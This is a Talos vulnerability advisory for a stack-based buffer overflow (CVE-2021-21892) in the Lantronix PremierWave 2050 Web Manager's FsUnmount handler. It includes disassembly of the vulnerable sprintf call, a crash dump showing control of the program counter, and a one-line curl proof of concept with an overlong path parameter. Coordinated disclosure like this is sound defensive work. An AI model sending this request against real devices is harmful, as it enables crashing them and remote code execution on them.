Talos Vulnerability Report

TALOS-2021-1335

Lantronix PremierWave 2050 Web Manager FsUnmount stack-based buffer overflow vulnerability

NOVEMBER 15, 2021

CVE NUMBER

CVE-2021-21892

Summary

A stack-based buffer overflow vulnerability exists in the Web Manager FsUnmount functionality of Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU). A specially crafted HTTP request can lead to remote code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

Tested Versions

Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU)

Product URLs

https://www.lantronix.com/products/premierwave2050/

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-121 - Stack-based Buffer Overflow

Details

PremierWave 2050 is an embedded Wi-Fi Module manufactured by Lantronix.

A specially crafted HTTP request can lead to a stack overflow in the function responsible for handling the `FsUnmount` ajax directive in the PremierWave 2050 Web Manager application, `ltrx_evo`. This function contains a vulnerable call to `sprintf` with a fixed sized destination and a user-controlled source. Successful exploitation allows an authenticated attacker with no special permissions to overflow a fixed size buffer allocated on the stack and corrupt the stack frame, resulting in attacker control of the program counter and therefore remote code execution.

Below is the full disassembly of the function responsible for handling the `FsUnmount` functionality.

```
.text:000558B0                PUSH            {R4-R8,R10,LR}
.text:000558B4                LDR             R1, =(aDeletedir+6) ; "dir"
.text:000558B8                SUB             SP, SP, #0x1000
.text:000558BC                SUB             SP, SP, #0xC
.text:000558C0                MOV             R4, R0
.text:000558C4                BL              get_POST_param
.text:000558C8                LDR             R1, =aPath ; "path"
.text:000558CC                LDR             R6, =PrintPostResults
.text:000558D0                MOV             R7, R0 ;                                                [1] Store "dir" POST parameter into
R7
.text:000558D4                MOV             R0, R4  ;
.text:000558D8                BL              get_POST_param
.text:000558DC                MOV             R5, R0 ;                                                [2] Store "path" POST parameter into
R5
.text:000558E0                MOV             R0, R4
.text:000558E4                BL              init_xml_response
.text:000558E8                MOV             R0, R4
.text:000558EC                LDR             R1, [R6] ; "PrintPostResults"
.text:000558F0                MOV             R2, #0
.text:000558F4                LDR             R3, =null_byte_
.text:000558F8                BL              stream_xml_elem
.text:000558FC                LDR             R1, =aSS_1 ; "%s%s"
.text:00055900                LDR             R2, =path ; "/ltrx_user"
.text:00055904                MOV             R3, R5
.text:00055908                ADD             R0, SP, #0x1028+s ; s
.text:0005590C                BL              sprintf ;                                               [3] Vulnerable `sprintf` call

sprintf(s, "%s%s", "/ltrx_user", path);
.text:00055910                MOV             R0, R5
.text:00055914                BL              IseUSB
.text:00055918                SUBS            R10, R0, #0
.text:0005591C                BNE             loc_55970
.text:00055920                ADD             R1, SP, #0x1028+s
.text:00055924                LDR             R0, =aSbinLtrxUsbUmo ; "/sbin/ltrx_usb_umount '%s'"
.text:00055928                BL              sprintf_malloc
.text:0005592C                MOV             R1, R10
.text:00055930                MOV             R2, R10
.text:00055934                MOV             R8, R0
.text:00055938                BL              exec_system_cmd_print
.text:0005593C                MOV             R0, R8  ; ptr
.text:00055940                BL              Free
.text:00055944                MOV             R3, #1
.text:00055948                STMEA           SP, {R3,R5}
.text:0005594C                LDR             R3, =fs
.text:00055950                MOV             R0, R4
.text:00055954                LDR             R1, [R6] ; "PrintPostResults"
.text:00055958                LDR             R2, [R3] ; "fs"
.text:0005595C                MOV             R3, #0x3A ; ':'
.text:00055960                BL              sub_B4AF0
.text:00055964                MOV             R0, R4
.text:00055968                MOV             R1, R7
.text:0005596C                BL              sub_54D94

.text:00055970                MOV             R0, R4
.text:00055974                BL              insert_xml_trailer
.text:00055978                MOV             R0, #1
.text:0005597C                ADD             SP, SP, #0xC
.text:00055980                ADD             SP, SP, #0x1000
.text:00055984                POP             {R4-R8,R10,PC}
```

At `[2]` the attacker-controlled `path` parameter is stored into `R5`, and just a few instructions later, with no validation or verification of the contents of the `path` variable, the value is supplied directly to an `sprintf` call whose destination buffer was only allocated for 1032 bytes.

Crash Information

```
Thread 13 "ltrx_evo" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 28770.28850]

────────────────────────────────────────────────────────────────────────────────────────── registers ────
$r0  : 0x1
$r1  : 0x0
$r2  : 0x4228c4d4  →  0x00000000
$r3  : 0x2
$r4  : 0x4d4d4d4d ("MMMM"?)
$r5  : 0x4d4d4d4d ("MMMM"?)
$r6  : 0x4d4d4d4d ("MMMM"?)
$r7  : 0x4d4d4d4d ("MMMM"?)
$r8  : 0x4d4d4d4d ("MMMM"?)
$r9  : 0x408085cd  →  0x54480000
$r10 : 0x4d4d4d4d ("MMMM"?)
$r11 : 0x6
$r12 : 0x0
$sp  : 0x42284ec8  →  "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM[...]"
$lr  : 0x000e3c78  →   movs r1,  r0
$pc  : 0x4d4d4d4c ("LMMM"?)
$cpsr: [negative zero carry overflow interrupt fast THUMB]
────────────────────────────────────────────────────────────────────────────────────────────────────
```

Exploit Proof of Concept

```
curl --user admin:PASS -d "ajax=FsUnmount&dir=/&path=`python -c "print('M'*9000)"`" http://192.168.0.1/
```

Timeline

2021-06-14 - Vendor Disclosure

2021-06-15 - Vendor acknowledged

2021-09-01 - Talos granted disclosure extension to 2021-10-15

2021-10-18 - Vendor requested release push to 2nd week of November. Talos confirmed final extension and disclosure date set

2021-11-15 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

TALOS-2021-1333

NEXT REPORT

TALOS-2021-1337